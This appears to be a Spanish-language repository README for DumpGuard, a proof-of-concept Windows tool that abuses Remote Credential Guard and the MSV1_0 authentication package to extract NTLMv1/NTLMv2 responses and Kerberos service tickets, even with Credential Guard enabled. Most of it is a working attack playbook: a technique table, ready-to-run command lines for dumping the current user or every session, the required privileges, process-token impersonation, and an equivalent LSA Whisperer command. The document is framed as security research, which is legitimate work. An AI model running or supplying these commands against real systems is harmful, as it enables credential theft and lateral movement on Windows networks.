
Herramienta de prueba de concepto para extraer material de credenciales de sesiones protegidas en sistemas Windows modernos.

DumpGuard es una herramienta de extracción de credenciales e investigación de protocolos para sistemas Windows modernos. Abusa del protocolo Remote Credential Guard para recuperar material de credenciales incluso cuando Credential Guard está habilitado, e incluye una ruta del paquete de autenticación Microsoft v1 para la extracción de NTLM orientada a sesiones.
La funcionalidad actual incluye:
Puede descargar copias precompiladas desde la sección de lanzamientos de este repositorio.
Descargo de responsabilidad: Esta herramienta se proporciona exclusivamente con fines educativos y de pruebas legítimas. El autor de este repositorio no aprueba ni respalda ningún tipo de uso indebido y no asume ninguna responsabilidad por daños o consecuencias legales derivadas del uso de esta herramienta.
La siguiente tabla resume las técnicas implementadas actualmente.
| Técnica | Comando | Requiere SYSTEM | Requiere Cuenta SPN | Puede Volcar Credential Guard |
|---|---|---|---|---|
| Extraer NTLMv1 a través de Remote Credential Guard | ntlmv1 | self: ❌all: ✅ | ✅ | ✅ |
| Extraer NTLMv2 a través de Remote Credential Guard | ntlmv2 | self: ❌all: ✅ | ✅ | ✅ |
| Extraer TGS Kerberos a través de Remote Credential Guard | kerbtgs | self: ❌all: ✅ | ✅ | ✅ |
| Extraer NTLMv1 a través del paquete de autenticación Microsoft v1 | msv10 | ✅ | ❌ | ❌ |
DumpGuard utiliza un modelo de comando más destino.
comando selecciona la técnica de extracción.destino selecciona si operar en la sesión actual o enumerar sesiones.Comandos soportados:
/command:ntlmv1/command:ntlmv2/command:kerbtgs/command:msv10Destinos soportados:
/target:self/target:allParámetros comunes de Remote Credential Guard:
/domain:<DOMINIO>/username:<NOMBRE_DE_CUENTA_SAM>/password:<CONTRASEÑA>/spn:<SPN>Parámetros de Kerberos TGS:
/tgsdomain:<DOMINIO>/tgsspn:<SPN>Si se omite /spn para una cuenta de equipo, DumpGuard usa por defecto HOST/<nombre_del_equipo>.
Para volcar material de credenciales del usuario actual desde un contexto no privilegiado, DumpGuard se autentica en una cuenta habilitada para SPN utilizando Remote Credential Guard y luego emite solicitudes de seguimiento sobre el contexto de seguridad establecido.
Esto funciona independientemente del estado de Credential Guard, pero requiere credenciales para una cuenta habilitada para SPN.
Requisito de privilegio: Ninguno.
NTLMv1:
DumpGuard.exe /command:ntlmv1 /target:self /domain:<DOMINIO> /username:<NOMBRE_DE_CUENTA_SAM> /password:<CONTRASEÑA> [/spn:<SPN>]
NTLMv2:
DumpGuard.exe /command:ntlmv2 /target:self /domain:<DOMINIO> /username:<NOMBRE_DE_CUENTA_SAM> /password:<CONTRASEÑA> [/spn:<SPN>]
Kerberos TGS:
DumpGuard.exe /command:kerbtgs /target:self /domain:<DOMINIO> /username:<NOMBRE_DE_CUENTA_SAM> /password:<CONTRASEÑA> [/spn:<SPN>] [/tgsdomain:<DOMINIO>] /tgsspn:<servicio/host>
Si se omite /tgsdomain, se usa por defecto el valor de /domain de Remote Credential Guard.
Para volcar material de credenciales de todos los usuarios actualmente accesibles desde un contexto privilegiado, DumpGuard suplanta tokens de procesos en ejecución, se autentica en una cuenta habilitada para SPN utilizando Remote Credential Guard y luego emite solicitudes de seguimiento sobre el contexto de seguridad establecido.
Esto funciona independientemente del estado de Credential Guard, pero requiere credenciales para una cuenta habilitada para SPN.
Requisito de privilegio: SYSTEM o Administrador (requiere SeImpersonatePrivilege).
NTLMv1:
DumpGuard.exe /command:ntlmv1 /target:all /domain:<DOMINIO> /username:<NOMBRE_DE_CUENTA_SAM> /password:<CONTRASEÑA> [/spn:<SPN>]
NTLMv2:
DumpGuard.exe /command:ntlmv2 /target:all /domain:<DOMINIO> /username:<NOMBRE_DE_CUENTA_SAM> /password:<CONTRASEÑA> [/spn:<SPN>]
Kerberos TGS:
DumpGuard.exe /command:kerbtgs /target:all /domain:<DOMINIO> /username:<NOMBRE_DE_CUENTA_SAM> /password:<CONTRASEÑA> [/spn:<SPN>] [/tgsdomain:<DOMINIO>] /tgsspn:<servicio/host>
Si se omite /tgsdomain, se usa por defecto el valor de /domain de Remote Credential Guard.
Para volcar respuestas NTLM de usuarios autenticados actualmente desde un contexto privilegiado de SYSTEM, DumpGuard interactúa directamente con el SSP NTLM y solicita respuestas de desafío para cada sesión de inicio de sesión descubierta.
Esto funciona solo bajo las siguientes condiciones:
Requisito de privilegio: SYSTEM (requiere SeTcbPrivilege).
DumpGuard.exe /command:msv10
Este ataque también puede realizarse usando LSA Whisperer con el siguiente comando:
lsa-whisperer.exe msv1_0 Lm20GetChallengeResponse --luid {id de sesión} --challenge {desafío para clientes} [flags...]
He realizado ingeniería inversa y recreado las interfaces expuestas por Credential Guard (LsaIso.exe) y las he incluido en este repositorio para cualquier persona interesada en investigación adicional.
A partir de octubre de 2025, las siguientes interfaces están implementadas:
Gracias a SpecterOps por apoyar esta investigación y a mis compañeros de trabajo que han ayudado con su desarrollo.